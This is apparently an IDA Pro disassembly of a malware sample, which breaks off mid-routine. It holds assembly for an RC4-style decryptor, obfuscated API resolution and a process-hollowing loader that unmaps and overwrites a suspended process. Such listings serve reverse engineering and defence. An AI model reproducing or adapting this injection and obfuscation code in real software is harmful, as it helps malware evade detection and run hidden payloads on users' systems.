;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3E69C646393CE03180FD73BD13AA99B2

; File Name   :	u:\work\3e69c646393ce03180fd73bd13aa99b2_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00001A6B (   6763.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_401040+15p
					; sub_401190+10p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, [esp+4+arg_4]
		push	edi
		push	esi		; dwBytes
		push	0		; uFlags
		call	ds:GlobalAlloc	; GlobalAlloc
		mov	edx, eax
		mov	ecx, esi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		and	ecx, 3
		rep stosb
		pop	edi
		mov	eax, edx
		pop	esi
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_401030(HGLOBAL hMem)

sub_401030	proc near		; CODE XREF: sub_401670+203p

hMem		= dword	ptr  4

		mov	eax, [esp+hMem]
		push	eax		; hMem
		call	ds:GlobalFree	; GlobalFree
		retn
sub_401030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401040	proc near		; CODE XREF: sub_401C50+Ep
					; sub_401C50+41p ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 108h
		mov	eax, [esp+108h+arg_8]
		push	1
		lea	eax, [eax+eax*4]
		shl	eax, 1
		push	eax
		call	sub_401000
		add	esp, 8
		mov	[esp+108h+var_104], eax
		test	eax, eax
		jnz	short loc_40106C
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401040+23j
		xor	eax, eax


loc_40106E:				; CODE XREF: sub_401040+38j
		mov	[esp+eax+108h+var_100],	al
		inc	eax
		cmp	eax, 0FFh
		jle	short loc_40106E
		push	ebx
		push	ebp
		mov	ebp, [esp+110h+arg_0]
		push	esi
		xor	ebx, ebx
		push	edi
		xor	esi, esi


loc_401089:				; CODE XREF: sub_401040+9Aj
		mov	cl, [esp+esi+118h+var_100]
		mov	edi, ebp
		mov	byte ptr [esp+118h+var_108], cl
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		xor	edx, edx
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, esi
		div	ecx
		mov	eax, [esp+118h+var_108]
		mov	ecx, eax
		and	ecx, 0FFh
		movsx	edx, byte ptr [edx+ebp]
		add	ebx, edx
		add	ebx, ecx
		and	ebx, 800000FFh
		jns	short loc_4010C7
		dec	ebx
		or	ebx, 0FFFFFF00h
		inc	ebx


loc_4010C7:				; CODE XREF: sub_401040+7Dj
		mov	dl, [esp+ebx+118h+var_100]
		mov	[esp+esi+118h+var_100],	dl
		inc	esi
		cmp	esi, 0FFh
		mov	[esp+ebx+118h+var_100],	al
		jle	short loc_401089
		mov	ecx, [esp+118h+arg_8]
		xor	esi, esi
		xor	eax, eax
		test	ecx, ecx
		jle	loc_40117C
		mov	ebp, [esp+118h+arg_4]
		mov	ecx, [esp+118h+var_104]
		sub	ebp, ecx


loc_4010FC:				; CODE XREF: sub_401040+13Aj
		mov	ecx, eax
		and	ecx, 800000FFh
		jns	short loc_40110E
		dec	ecx
		or	ecx, 0FFFFFF00h
		inc	ecx


loc_40110E:				; CODE XREF: sub_401040+C4j
		mov	dl, [esp+ecx+118h+var_100]
		lea	ecx, [esp+ecx+118h+var_100]
		mov	edi, edx
		and	edi, 0FFh
		add	esi, edi
		and	esi, 800000FFh
		jns	short loc_401130
		dec	esi
		or	esi, 0FFFFFF00h
		inc	esi


loc_401130:				; CODE XREF: sub_401040+E6j
		mov	bl, [esp+esi+118h+var_100]
		mov	byte ptr [esp+118h+var_108], dl
		mov	[ecx], bl
		mov	[esp+esi+118h+var_100],	dl
		mov	edx, [esp+118h+var_104]
		lea	edi, [eax+edx]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [esp+118h+var_108]
		and	ecx, 0FFh
		add	edx, ecx
		and	edx, 800000FFh
		jns	short loc_401165
		dec	edx
		or	edx, 0FFFFFF00h
		inc	edx


loc_401165:				; CODE XREF: sub_401040+11Bj
		mov	dl, [esp+edx+118h+var_100]
		mov	bl, [edi+ebp]
		mov	ecx, [esp+118h+arg_8]
		xor	dl, bl
		inc	eax
		mov	[edi], dl
		cmp	eax, ecx
		jl	short loc_4010FC


loc_40117C:				; CODE XREF: sub_401040+A9j
		mov	eax, [esp+118h+var_104]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
sub_401040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401190	proc near		; CODE XREF: sub_402850+EEp

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_4]
		push	esi
		mov	esi, ebx
		push	edi
		push	1
		shl	esi, 4
		push	esi
		call	sub_401000
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4011B3
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4011B3:				; CODE XREF: sub_401190+1Cj
		lea	eax, [esp+10h+arg_4]
		lea	ecx, [esp+10h+var_4]
		push	eax
		push	ecx
		push	2
		call	dword_4042D8
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esp+10h+arg_0]
		push	edx
		push	ebx
		push	eax
		push	esi
		push	edi
		push	2
		call	dword_4042C4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_401190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011F0	proc near		; CODE XREF: sub_401210+10p
					; sub_401210+4Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		xor	edx, edx
		lea	eax, [eax+ecx-1]
		div	ecx
		imul	eax, ecx
		retn
sub_4011F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401210	proc near		; CODE XREF: sub_4012C0+60p

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_8]
		push	edi
		mov	eax, [esi+38h]
		mov	ecx, [esi+54h]
		push	eax
		push	ecx
		call	sub_4011F0
		xor	ebp, ebp
		add	esp, 8
		cmp	[esi+6], bp
		mov	ebx, eax
		jbe	short loc_4012A6
		mov	edx, [esp+10h+arg_C]
		lea	edi, [edx+0Ch]


loc_401239:				; CODE XREF: sub_401210+94j
		mov	edx, [edi+4]
		mov	eax, [edi+8]
		mov	ecx, [esp+10h+arg_4]
		add	eax, edx
		cmp	eax, ecx
		ja	short loc_4012AD
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40127C
		mov	ecx, [edi-4]
		test	ecx, ecx
		jz	short loc_401269
		mov	edx, [esi+38h]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_4011F0
		add	esp, 8
		mov	ebx, eax
		jmp	short loc_401298
; ---------------------------------------------------------------------------


loc_401269:				; CODE XREF: sub_401210+44j
		mov	ecx, [esi+38h]
		add	edx, eax
		push	ecx
		push	edx
		call	sub_4011F0
		add	esp, 8
		mov	ebx, eax
		jmp	short loc_401298
; ---------------------------------------------------------------------------


loc_40127C:				; CODE XREF: sub_401210+3Dj
		mov	eax, [edi-4]
		cmp	eax, edx
		jnb	short loc_401289
		mov	edx, [esi+38h]
		push	edx
		jmp	short loc_40128D
; ---------------------------------------------------------------------------


loc_401289:				; CODE XREF: sub_401210+71j
		mov	ecx, [esi+38h]
		push	ecx


loc_40128D:				; CODE XREF: sub_401210+77j
		push	eax
		call	sub_4011F0
		add	esp, 8
		add	ebx, eax


loc_401298:				; CODE XREF: sub_401210+57j
					; sub_401210+6Aj
		xor	edx, edx
		inc	ebp
		mov	dx, [esi+6]
		add	edi, 28h
		cmp	ebp, edx
		jl	short loc_401239


loc_4012A6:				; CODE XREF: sub_401210+20j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4012AD:				; CODE XREF: sub_401210+37j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_401210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4012C0	proc near		; CODE XREF: sub_401890+25p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	ecx, [esp+arg_4]
		push	ebp
		cmp	ecx, 40h
		push	esi
		jb	loc_401449
		mov	eax, [esp+8+arg_0]
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_401449
		mov	esi, [eax+3Ch]
		lea	edx, [esi+0F8h]
		cmp	ecx, edx
		jl	loc_401449
		mov	edx, [esi+eax]
		add	esi, eax
		cmp	edx, 4550h
		jnz	loc_401449
		test	byte ptr [esi+17h], 20h
		jnz	loc_401449
		cmp	word ptr [esi+14h], 0E0h
		jnz	loc_401449
		lea	ebp, [esi+0F8h]
		push	ebp
		push	esi
		push	ecx
		push	eax
		call	sub_401210
		mov	ecx, [esp+18h+arg_14]
		add	esp, 10h
		test	eax, eax
		mov	[ecx], eax
		jz	loc_401449
		push	ebx
		push	edi
		push	40h
		push	1000h
		push	eax
		push	0
		call	dword_404338
		mov	ebx, [esp+10h+arg_10]
		test	eax, eax
		mov	[ebx], eax
		jz	loc_40143F
		mov	edi, [esi+54h]
		xor	ecx, ecx
		mov	cx, [esi+6]
		test	ecx, ecx
		jle	short loc_401378
		lea	esi, [ebp+14h]


loc_401366:				; CODE XREF: sub_4012C0+B6j
		mov	edx, [esi]
		test	edx, edx
		jz	short loc_401372
		cmp	edx, edi
		jnb	short loc_401372
		mov	edi, edx


loc_401372:				; CODE XREF: sub_4012C0+AAj
					; sub_4012C0+AEj
		add	esi, 28h
		dec	ecx
		jnz	short loc_401366


loc_401378:				; CODE XREF: sub_4012C0+A1j
		mov	edx, [esp+10h+arg_0]
		push	edi
		push	edx
		push	eax
		call	sub_402450
		mov	eax, [ebx]
		mov	edi, [esp+1Ch+arg_8]
		mov	ebp, [esp+1Ch+arg_C]
		mov	ecx, [eax+3Ch]
		add	eax, ecx
		mov	[edi], eax
		add	eax, 0F8h
		mov	[ebp+0], eax
		mov	eax, [edi]
		mov	edx, [eax+38h]
		mov	eax, [eax+54h]
		push	edx
		push	eax
		call	sub_4011F0
		mov	ecx, [ebx]
		mov	esi, eax
		add	esi, ecx
		mov	ecx, [edi]
		xor	ebx, ebx
		add	esp, 14h
		cmp	[ecx+6], bx
		mov	[esp+10h+arg_4], ebx
		jbe	short loc_40143F


loc_4013C3:				; CODE XREF: sub_4012C0+17Dj
		mov	edx, [ebp+0]
		lea	eax, [ebx+edx]
		mov	edx, [ebx+edx+0Ch]
		test	edx, edx
		jz	short loc_4013D9
		mov	esi, [esp+10h+arg_10]
		add	edx, [esi]
		mov	esi, edx


loc_4013D9:				; CODE XREF: sub_4012C0+10Fj
		mov	edx, [eax+10h]
		test	edx, edx
		jz	short loc_401415
		mov	eax, [eax+14h]
		mov	ecx, [esp+10h+arg_0]
		add	eax, ecx
		push	edx
		push	eax
		push	esi
		call	sub_402450
		mov	ecx, [ebp+0]
		mov	edx, [edi]
		add	esp, 0Ch
		lea	eax, [ebx+ecx]
		mov	ecx, [ebx+ecx+8]
		mov	eax, [eax+10h]
		cmp	ecx, eax
		jnb	short loc_40140E
		mov	ecx, [edx+38h]
		push	ecx
		push	eax
		jmp	short loc_40141D
; ---------------------------------------------------------------------------


loc_40140E:				; CODE XREF: sub_4012C0+145j
		mov	eax, [edx+38h]
		push	eax
		push	ecx
		jmp	short loc_40141D
; ---------------------------------------------------------------------------


loc_401415:				; CODE XREF: sub_4012C0+11Ej
		mov	ecx, [ecx+38h]
		mov	edx, [eax+8]
		push	ecx
		push	edx


loc_40141D:				; CODE XREF: sub_4012C0+14Cj
					; sub_4012C0+153j
		call	sub_4011F0
		mov	ecx, [edi]
		add	esi, eax
		mov	eax, [esp+18h+arg_4]
		xor	edx, edx
		mov	dx, [ecx+6]
		add	esp, 8
		inc	eax
		add	ebx, 28h
		cmp	eax, edx
		mov	[esp+10h+arg_4], eax
		jl	short loc_4013C3


loc_40143F:				; CODE XREF: sub_4012C0+90j
					; sub_4012C0+101j
		pop	edi
		pop	ebx
		pop	esi
		mov	eax, 1
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_401449:				; CODE XREF: sub_4012C0+9j
					; sub_4012C0+18j ...
		pop	esi
		xor	eax, eax
		pop	ebp
		retn
sub_4012C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401450	proc near		; CODE XREF: sub_401460+12p
					; sub_401670:loc_401727p
		mov	ecx, dword_40431C
		xor	eax, eax
		test	ecx, ecx
		setnz	al
		retn
sub_401450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401460	proc near		; CODE XREF: sub_401670+2Cp

arg_0		= dword	ptr  4

		push	ebx
		push	1
		push	100h
		call	sub_401000
		add	esp, 8
		mov	ebx, eax
		call	sub_401450
		test	eax, eax
		jz	short loc_4014C4
		push	esi
		push	edi
		mov	ecx, 40h
		xor	eax, eax
		mov	edi, ebx
		push	100h
		push	ebx
		push	eax
		rep stosd
		call	dword_4042FC
		mov	edi, [esp+0Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4014C4:				; CODE XREF: sub_401460+19j
		xor	eax, eax
		pop	ebx
		retn
sub_401460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4014D0	proc near		; CODE XREF: sub_401670+FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0A0h]
		test	ecx, ecx
		jz	short loc_4014EE
		mov	ecx, [eax+0A4h]
		test	ecx, ecx
		jz	short loc_4014EE
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4014EE:				; CODE XREF: sub_4014D0+Cj
					; sub_4014D0+16j
		xor	eax, eax
		retn
sub_4014D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401500	proc near		; CODE XREF: sub_401670+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	eax, [eax+0A0h]
		add	eax, ecx
		mov	ecx, [eax+4]
		mov	edx, [eax]
		add	ecx, edx
		jz	short locret_401539
		push	esi


loc_40151A:				; CODE XREF: sub_401500+36j
		lea	ecx, [eax+8]
		mov	eax, [eax+4]
		sub	eax, 8
		shr	eax, 1
		cmp	eax, 1
		jb	short loc_40152D
		lea	ecx, [ecx+eax*2]


loc_40152D:				; CODE XREF: sub_401500+28j
		mov	edx, [ecx+4]
		mov	esi, [ecx]
		add	edx, esi
		mov	eax, ecx
		jnz	short loc_40151A
		pop	esi

locret_401539:				; CODE XREF: sub_401500+17j
		retn
sub_401500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401540	proc near		; CODE XREF: sub_401670+CAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	offset LibFileName ; "ntdll.dll"
		xor	esi, esi
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jz	short loc_401573
		mov	eax, [esp+8+arg_4]
		mov	ecx, [esp+8+arg_0]
		push	eax
		push	ecx
		call	dword_4042D0
		mov	esi, eax
		push	edi
		neg	esi
		sbb	esi, esi
		inc	esi
		call	dword_4042D4


loc_401573:				; CODE XREF: sub_401540+13j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_401540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401580	proc near		; CODE XREF: sub_401670+6Bp

var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		sub	esp, 74h
		push	ebp
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+7Ch+var_44]
		lea	edx, [esp+7Ch+var_44]
		rep stosd
		mov	[esp+7Ch+var_70], eax
		lea	ecx, [esp+7Ch+var_70]
		mov	[esp+7Ch+var_6C], eax
		push	ecx
		mov	[esp+80h+var_68], eax
		push	edx
		push	eax
		push	eax
		push	4
		push	eax
		push	eax
		mov	[esp+98h+var_64], eax
		push	eax
		mov	eax, [esp+9Ch+arg_0]
		push	eax
		push	0
		mov	[esp+0A4h+var_44], 44h
		call	dword_4042E4
		mov	ebp, eax
		test	ebp, ebp
		jz	loc_401661
		mov	edi, [esp+7Ch+arg_8]
		mov	ecx, [esp+7Ch+var_70]
		mov	eax, [esp+7Ch+arg_C]
		mov	edx, [esp+7Ch+var_6C]
		push	ebx
		mov	[edi], ecx
		mov	ecx, [esp+80h+arg_10]
		push	esi
		mov	esi, [esp+84h+arg_4]
		mov	[eax], edx
		mov	edx, [esp+84h+var_68]
		push	esi
		mov	[ecx], edx
		mov	dword ptr [esi], 10007h
		mov	eax, [eax]
		push	eax
		call	dword_4042C8
		mov	edx, [esi+0A4h]
		mov	ebx, [esp+84h+arg_14]
		mov	eax, [edi]
		lea	ecx, [esp+84h+var_74]
		push	ecx
		push	4
		add	edx, 8
		push	ebx
		push	edx
		push	eax
		call	dword_4042E8
		mov	esi, [ebx]
		mov	edx, [edi]
		lea	ecx, [esp+84h+var_60]
		push	1Ch
		push	ecx
		push	esi
		push	edx
		call	dword_4042F0
		mov	eax, [ebx]
		sub	esi, eax
		mov	eax, [esp+84h+arg_18]
		mov	[eax], esi
		pop	esi
		pop	ebx
		mov	eax, ebp
		pop	edi
		pop	ebp
		add	esp, 74h
		retn
; ---------------------------------------------------------------------------


loc_401661:				; CODE XREF: sub_401580+4Fj
		mov	eax, ebp
		pop	edi
		pop	ebp
		add	esp, 74h
		retn
sub_401580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401670	proc near		; CODE XREF: sub_401890+4Fp

var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_228		= dword	ptr -228h
var_21C		= dword	ptr -21Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 2E4h
		mov	ecx, [esp+2E4h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+2ECh+arg_4]
		push	edi
		mov	edi, [esp+2F0h+arg_10]
		mov	eax, [esi+34h]
		push	edi
		push	eax
		push	ecx
		mov	[esp+2FCh+var_2E4], 0FFFFFFFFh
		call	sub_401460
		mov	ebp, eax
		add	esp, 0Ch
		test	ebp, ebp
		jnz	short loc_4016B8
		mov	eax, [esp+2F0h+var_2E4]
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2E4h
		retn
; ---------------------------------------------------------------------------


loc_4016B8:				; CODE XREF: sub_401670+38j
		mov	ecx, [esp+2F0h+arg_14]
		lea	edx, [esp+2F0h+var_2D0]
		push	ebx
		lea	eax, [esp+2F4h+var_2D8]
		push	edx
		push	eax
		lea	edx, [esp+2FCh+var_2DC]
		push	ecx
		lea	eax, [esp+300h+var_2E4]
		push	edx
		lea	ecx, [esp+304h+var_2CC]
		push	eax
		push	ecx
		push	ebp
		call	sub_401580
		add	esp, 1Ch
		test	eax, eax
		jz	loc_401872
		mov	eax, [esp+2F4h+var_2D8]
		mov	ecx, [esi+34h]
		mov	ebx, [esp+2F4h+arg_C]
		cmp	ecx, eax
		mov	[esp+2F4h+var_2E0], 0
		jnz	short loc_401727
		mov	ecx, [esp+2F4h+var_2D0]
		cmp	ecx, edi
		jb	short loc_401727
		lea	edx, [esp+2F4h+var_2D4]
		mov	[esp+2F4h+var_2E0], eax
		push	edx
		push	40h
		push	ecx
		push	eax
		mov	eax, [esp+304h+var_2E4]
		push	eax
		call	dword_4042F8
		jmp	short loc_4017A2
; ---------------------------------------------------------------------------


loc_401727:				; CODE XREF: sub_401670+93j
					; sub_401670+9Bj
		call	sub_401450
		test	eax, eax
		jz	short loc_4017A2
		mov	ecx, [esp+2F4h+var_2D8]
		mov	edx, [esp+2F4h+var_2E4]
		push	ecx
		push	edx
		call	sub_401540
		add	esp, 8
		test	eax, eax
		jz	short loc_401761
		mov	eax, [esi+34h]
		mov	ecx, [esp+2F4h+var_2E4]
		push	40h
		push	3000h
		push	edi
		push	eax
		push	ecx
		call	dword_40431C
		mov	[esp+2F4h+var_2E0], eax


loc_401761:				; CODE XREF: sub_401670+D4j
		mov	eax, [esp+2F4h+var_2E0]
		test	eax, eax
		jnz	short loc_4017AE
		push	esi
		call	sub_4014D0
		add	esp, 4
		test	eax, eax
		jz	short loc_4017A2
		mov	edx, [esp+2F4h+var_2E4]
		push	40h
		push	3000h
		push	edi
		push	0
		push	edx
		call	dword_40431C
		test	eax, eax
		mov	[esp+2F4h+var_2E0], eax
		jz	loc_401847
		push	eax
		push	ebx
		push	esi
		call	sub_401500
		add	esp, 0Ch


loc_4017A2:				; CODE XREF: sub_401670+B5j
					; sub_401670+BEj ...
		mov	eax, [esp+2F4h+var_2E0]
		test	eax, eax
		jz	loc_401847


loc_4017AE:				; CODE XREF: sub_401670+F7j
		mov	edx, [esp+2F4h+var_228]
		lea	eax, [esp+2F4h+var_2D4]
		push	eax
		mov	eax, [esp+2F8h+var_2E4]
		lea	ecx, [esp+2F8h+var_2E0]
		push	4
		add	edx, 8
		push	ecx
		push	edx
		push	eax
		call	dword_404320
		mov	eax, [esp+2F4h+var_2E0]
		mov	edx, [esp+2F4h+var_2E4]
		lea	ecx, [esp+2F4h+var_2D4]
		mov	[esi+34h], eax
		push	ecx
		push	edi
		push	ebx
		push	eax
		push	edx
		call	dword_404320
		test	eax, eax
		jz	short loc_401847
		mov	eax, [esp+2F4h+var_2E0]
		mov	ecx, [esp+2F4h+var_2D8]
		cmp	eax, ecx
		mov	dword ptr [esp+2F4h+var_2CC], 10007h
		jnz	short loc_401813
		mov	eax, [esi+28h]
		mov	ecx, [esi+34h]
		add	eax, ecx
		mov	[esp+2F4h+var_21C], eax
		jmp	short loc_40181F
; ---------------------------------------------------------------------------


loc_401813:				; CODE XREF: sub_401670+190j
		mov	ecx, [esi+28h]
		add	ecx, eax
		mov	[esp+2F4h+var_21C], ecx


loc_40181F:				; CODE XREF: sub_401670+1A1j
		mov	eax, [esp+2F4h+var_2DC]
		lea	edx, [esp+2F4h+var_2CC]
		push	edx
		push	eax
		call	dword_404314
		mov	ecx, [esp+2F4h+var_2DC]
		push	ecx
		call	dword_40430C
		mov	edx, [esp+2F4h+var_2DC]
		push	edx
		call	dword_4042CC
		jmp	short loc_401872
; ---------------------------------------------------------------------------


loc_401847:				; CODE XREF: sub_401670+121j
					; sub_401670+138j ...
		mov	eax, [esp+2F4h+var_2E4]
		push	0
		push	eax
		call	dword_404330
		mov	ecx, [esp+2F4h+var_2DC]
		push	ecx
		call	dword_4042CC
		mov	edx, [esp+2F4h+var_2E4]
		push	edx
		call	dword_4042CC
		mov	[esp+2F4h+var_2E4], 0FFFFFFFFh


loc_401872:				; CODE XREF: sub_401670+75j
					; sub_401670+1D5j
		push	ebp		; hMem
		call	sub_401030
		mov	eax, [esp+2F8h+var_2E4]
		add	esp, 4
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2E4h
		retn
sub_401670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401890	proc near		; CODE XREF: sub_402850+10Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 8
		lea	eax, [esp+8+arg_4]
		lea	ecx, [esp+8+arg_0]
		lea	edx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		mov	ecx, [esp+14h+arg_4]
		lea	eax, [esp+14h+var_4]
		push	edx
		mov	edx, [esp+18h+arg_0]
		push	eax
		push	ecx
		push	edx
		or	esi, 0FFFFFFFFh
		call	sub_4012C0
		add	esp, 18h
		test	eax, eax
		jz	short loc_4018FE
		mov	eax, [esp+0Ch+arg_C]
		mov	ecx, [esp+0Ch+arg_4]
		mov	edx, [esp+0Ch+arg_0]
		push	eax
		mov	eax, [esp+10h+var_8]
		push	ecx
		mov	ecx, [esp+14h+var_4]
		push	edx
		mov	edx, [esp+18h+arg_8]
		push	eax
		push	ecx
		push	edx
		call	sub_401670
		mov	ecx, [esp+24h+arg_0]
		add	esp, 18h
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		push	4000h
		push	eax
		push	ecx
		call	dword_4042F4


loc_4018FE:				; CODE XREF: sub_401890+2Fj
		mov	eax, esi
		pop	esi
		add	esp, 8
		retn
sub_401890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401910	proc near		; CODE XREF: sub_402850+3Ap
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset ModuleName ; "Vs"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	esi, ds:LoadLibraryA
		push	offset aSle	; "Se"
		mov	ebx, eax
		call	esi ; LoadLibraryA
		push	offset aYka	; "Ya"
		mov	edi, eax
		call	esi ; LoadLibraryA
		mov	esi, ds:GetProcAddress
		push	offset ProcName	; "ne\n"
		push	edi		; hModule
		mov	ebp, eax
		call	esi ; GetProcAddress
		push	offset aNzeB	; "ne\n"
		push	edi		; hModule
		mov	dword_404338, eax
		call	esi ; GetProcAddress
		push	offset dword_404050 ; lpProcName
		push	edi		; hModule
		mov	dword_40431C, eax
		call	esi ; GetProcAddress
		push	offset aBB	; "bB"
		push	ebx		; hModule
		mov	dword_4042FC, eax
		call	esi ; GetProcAddress
		push	offset aR	; "~r\x1B"
		push	edi		; hModule
		mov	dword_4042D0, eax
		call	esi ; GetProcAddress
		push	offset aR_0	; "{r"
		push	edi		; hModule
		mov	dword_4042D4, eax
		call	esi ; GetProcAddress
		push	offset dword_404098 ; lpProcName
		push	edi		; hModule
		mov	dword_4042E4, eax
		call	esi ; GetProcAddress
		push	offset aJlv	; "jv"
		push	edi		; hModule
		mov	dword_4042C8, eax
		call	esi ; GetProcAddress
		push	offset aNzeB_0	; "ne\n"
		push	edi		; hModule
		mov	dword_4042E8, eax
		call	esi ; GetProcAddress
		push	offset aNzeB_1	; "ne\n"
		push	edi		; hModule
		mov	dword_4042F0, eax
		call	esi ; GetProcAddress
		push	offset aOSAEg	; "o~\n-a&EG"
		push	edi		; hModule
		mov	dword_4042F8, eax
		call	esi ; GetProcAddress
		push	offset aKlc	; "kc*"
		push	edi		; hModule
		mov	dword_404320, eax
		call	esi ; GetProcAddress
		push	offset aJldS	; "jd\v"
		push	edi		; hModule
		mov	dword_404314, eax
		call	esi ; GetProcAddress
		push	offset aVxS5Lq	; "{x\r5`!LQ"
		push	edi		; hModule
		mov	dword_40430C, eax
		call	esi ; GetProcAddress
		push	offset aLle	; "le"
